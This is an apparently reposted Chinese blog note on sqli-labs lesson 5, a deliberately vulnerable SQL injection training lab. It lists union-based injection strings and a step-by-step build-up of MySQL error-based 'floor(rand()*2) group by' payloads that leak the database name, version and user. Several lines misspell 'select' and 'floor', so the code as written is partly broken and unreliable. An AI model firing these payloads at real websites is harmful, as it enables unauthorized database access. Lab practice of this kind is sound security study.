zoukankan      html  css  js  c++  java
  • sqlilabs 5

    第一个1不断返回true,2可以进行更改
    ?id=-1' union select 1,2,3 and '1
    ?id=-1' union select 1,2,3 and 1='1

    ?id=-1' union select 1,@@datadir,3 and '1
    @@datadir可以替换为 current_user,database() etc..

    select rand();
    select foor();

    select table_name,table_schema from information_schema.tables group by table_schema;

    select database();
    slect(select database());
    slect concat (select database());
    slect concat (0x3a,0x3a,select database(),0x3a,0x3a);
    slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a;
    slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;
    slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
    slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
    slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
    slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
    slect count(*), concat (0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
    slect count(*), concat (0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
    slect count(*), concat (0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

  • 相关阅读:
    我的Firefox
    九成偏股基金净值增长弱于大盘 仅18只跑赢指数
    大事记:
    Symantec AntiVirus企业版(接受管理)客户机端卸载方法
    CDP
    两行代码解决iOS上拉下拉时,底部栏顶部栏跟随手势滚动
    8Windows概要
    4断点和单步执行
    win7下windbg本机内核调试
    windbg技巧看和改标志位创建进程时断下
  • 原文地址:https://www.cnblogs.com/CMlhc/p/8858973.html
Copyright © 2011-2022 走看看